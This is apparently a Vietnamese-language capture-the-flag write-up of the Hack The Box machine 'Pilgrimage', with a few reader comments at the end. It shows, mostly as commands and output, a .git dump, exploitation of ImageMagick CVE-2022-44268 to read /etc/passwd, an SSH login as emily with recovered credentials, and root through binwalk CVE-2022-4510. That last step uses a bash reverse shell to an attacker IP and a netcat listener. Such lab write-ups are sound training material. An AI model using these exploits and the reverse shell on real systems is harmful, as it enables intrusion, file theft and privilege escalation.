Enumeration
Zenmap:
Kiểm tra website:
Gobuster:
Gitdumper:
Nhìn vào quá trình scan gobuster, tôi thấy có .git. Sử dụng gitdumper trong bộ gitTool để tải xuống tất cả các file.
┌──(yuh㉿Huydz)-[~/GitTools/Dumper]
└─$ ./gitdumper.sh http://pilgrimage.htb/.git/ git
[*] Destination folder does not exist
[+] Creating git/.git/
[+] Downloaded: HEAD
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/e1/a40beebc7035212efdcb15476f9c994e3634a7
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/f3/e708fd3c3689d0f437b2140e08997dbaff6212
.................................................................
[+] Downloaded: objects/cd/2774e97bfe313f2ec2b8dc8285ec90688c5adb
[+] Downloaded: objects/fa/175a75d40a7be5c3c5dee79b36f626de328f2e
┌──(yuh㉿Huydz)-[~/GitTools/Dumper]
└─$CVE-2022-44268
Tôi đã có được những file git mở nó với tool có thể đọc hiểu được:
┌──(yuh㉿Huydz)-[~]
└─$ ./magick -h
dlopen(): error loading libfuse.so.2
AppImages require FUSE to run.
You might still be able to extract the contents of this AppImage
if you run it with the --appimage-extract option.
See https://github.com/AppImage/AppImageKit/wiki/FUSE
for more information
┌──(yuh㉿Huydz)-[~]
└─$Tìm kiếm AppImage magick, Tôi tìm thấy thông tin về ImageMagick, tìm các lỗ hổng về ImageMagick tôi tìm thấy: CVE-2022-44268┌──(yuh㉿Huydz)-[~/Pilgrimage]
└─$ ls
test.png
┌──(yuh㉿Huydz)-[~/Pilgrimage]
└─$ pngcrush -text a "profile" "/etc/passwd" test.png
Recompressing IDAT chunks in test.png to pngout.png
Total length of data found in critical chunks = 68682
Best pngcrush method = 6 (ws 15 fm 6 zl 9 zs 0) = 65197
CPU time decode 0.013676, encode 0.505936, other 0.001182, total 0.522390 sec
┌──(yuh㉿Huydz)-[~/Pilgrimage]
└─$ ls
pngout.png test.png
┌──(yuh㉿Huydz)-[~/Pilgrimage]
└─$ exiv2 -pS pngout.png
STRUCTURE OF PNG FILE: pngout.png
address | chunk | length | data | checksum
8 | IHDR | 13 | ...,...,.... | 0x797d8e75
33 | pHYs | 9 | ......... | 0x952b0e1b
54 | IDAT | 65140 | x.....\.u...sk.z...y.H.$@..DR. | 0xf9c04198
65206 | tEXt | 19 | profile./etc/passwd | 0x465bd758
65237 | IEND | 0 | | 0xae426082
┌──(yuh㉿Huydz)-[~/Pilgrimage]
└─$ convert pngout.png gopro.png
┌──(yuh㉿Huydz)-[~/Pilgrimage]
└─$Upload file gopro.png vừa tạo lên box. Sau đó tôi thu được một file đã chuyển đổi của dịch vụ, Tải nó xuống và thực hiện:
┌──(yuh㉿Huydz)-[~/Pilgrimage]
└─$ identify -verbose 6497481a6f1e2.png
Image:
Filename: 6497481a6f1e2.png
...........................
Properties:
date:create: 2023-06-24T19:52:03+00:00
.................
Raw profile type:
1437
726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d
6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f
........................................................................
737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a393938
3a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a
signature: c142839f7efdbd265a0bdf3444ba047deb10b64842888f06758bdd441c737e43
Artifacts:
filename: 6497481a6f1e2.png
verbose: true
Tainted: False
..............
Version: ImageMagick 6.9.11-60 Q16 x86_64 2021-01-25 https://imagemagick.org
┌──(yuh㉿Huydz)-[~/Pilgrimage]
└─$Decode mã hex mà tôi mới tìm được bằng cyberchef cyberchef
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
Gaining access emily
Trong công cụ dùng để đọc các file git, tôi tìm thấy:
note: sừ dụng cyberchef lưu kết quả đã decode thành một file có đuôi mở rộng là *.db
Dùng công cụ để đọc dữ liệu file sqlite tôi vừa mới nhận được tôi thu được user và passwd của người dùng:
PS D:\thehackbox\Machines\Pilgrimage> ssh emily@pilgrimage.htb
emily@pilgrimage.htb's password:
emily@pilgrimage:~$ id
uid=1000(emily) gid=1000(emily) groups=1000(emily)
emily@pilgrimage:~$ ls
user.txt
emily@pilgrimage:~$ cat user.txt
********************************
emily@pilgrimage:~$Privilege escalation
Kiểm tra các tiến trình hoạt động với pspy. Tôi thấy rằng khi tôi tải một file lên hộp theo đường website tôi sẽ nhận được tiến trình sau:
emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh
#!/bin/bash
blacklist=("Executable script" "Microsoft executable")
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
binout="$(/usr/local/bin/binwalk -e "$filename")"
for banned in "${blacklist[@]}"; do
if [[ "$binout" == *"$banned"* ]]; then
/usr/bin/rm "$filename"
break
fi
done
doneTrong đoạn có tool binwalk, kiểm tra tool này:
Tải file khai thác xuống và lưu nó thành file exploit.py
┌──(yuh㉿Huydz)-[~/Pilgrimage]
└─$ cat shell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/<IP attack>/4444 0>&1
┌──(yuh㉿Huydz)-[~/Pilgrimage]
└─$ python3 exploit.py shell.sh <IP attack> 4444
################################################
------------------CVE-2022-4510----------------
################################################
--------Binwalk Remote Command Execution--------
------Binwalk 2.1.2b through 2.3.2 included-----
------------------------------------------------
################################################
----------Exploit by: Etienne Lacoche-----------
---------Contact Twitter: @electr0sm0g----------
------------------Discovered by:----------------
---------Q. Kaiser, ONEKEY Research Lab---------
---------Exploit tested on debian 11------------
################################################
You can now rename and share binwalk_exploit and start your local netcat listener.
┌──(yuh㉿Huydz)-[~/Pilgrimage]
└─$ ls binwalk_exploit.png
binwalk_exploit.png
┌──(yuh㉿Huydz)-[~/Pilgrimage]
└─$Tôi đã có được file binwalk_exploit.png, upload nó lên box vào folder /var/www/pilgrimage.htb/shrunk
PS D:\thehackbox\Machines\Pilgrimage> ls .\binwalk_exploit.png
Directory: D:\thehackbox\Machines\Pilgrimage
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/25/2023 10:12 AM 738 binwalk_exploit.png
PS D:\thehackbox\Machines\Pilgrimage> python -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.129.**.** - - [25/Jun/2023 10:10:29] "GET /binwalk_exploit.png HTTP/1.1" 200 -
#----------------------------------------------
emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ wget http://<IP attack>/binwalk_exploit.png
--2023-06-25 13:13:40-- http://<IP attack>/binwalk_exploit.png
Connecting to <IP attack>:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 738 [image/png]
Saving to: ‘binwalk_exploit.png’
binwalk_exploit.png 100%[===================================================================================================================>] 738 --.-KB/s in 0s
2023-06-25 13:13:41 (161 MB/s) - ‘binwalk_exploit.png’ saved [738/738]
emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$Trong pspy tôi thấy kết nối tới máy:
PS D:\thehackbox\Machines\Pilgrimage> ncat.exe -l 4444
id
uid=0(root) gid=0(root) groups=0(root)
script /dev/null /bin/bash
Script started, output log file is '/dev/null'.
# pwd
pwd
/root/quarantine
# cd ..
cd ..
# cat root.txt
cat root.txt
********************************
#Đã kết thúc máy. Tuần này mệt mỏi thật. Nên có bất kỳ câu hỏi gì tôi sẽ trả lời vào thứ 4 nhé! Tôi tạm nghỉ hai ngày đây. Ha ha.
no write up on this?
Contact me by mail or telegram. Thanks!
Any write up for intentions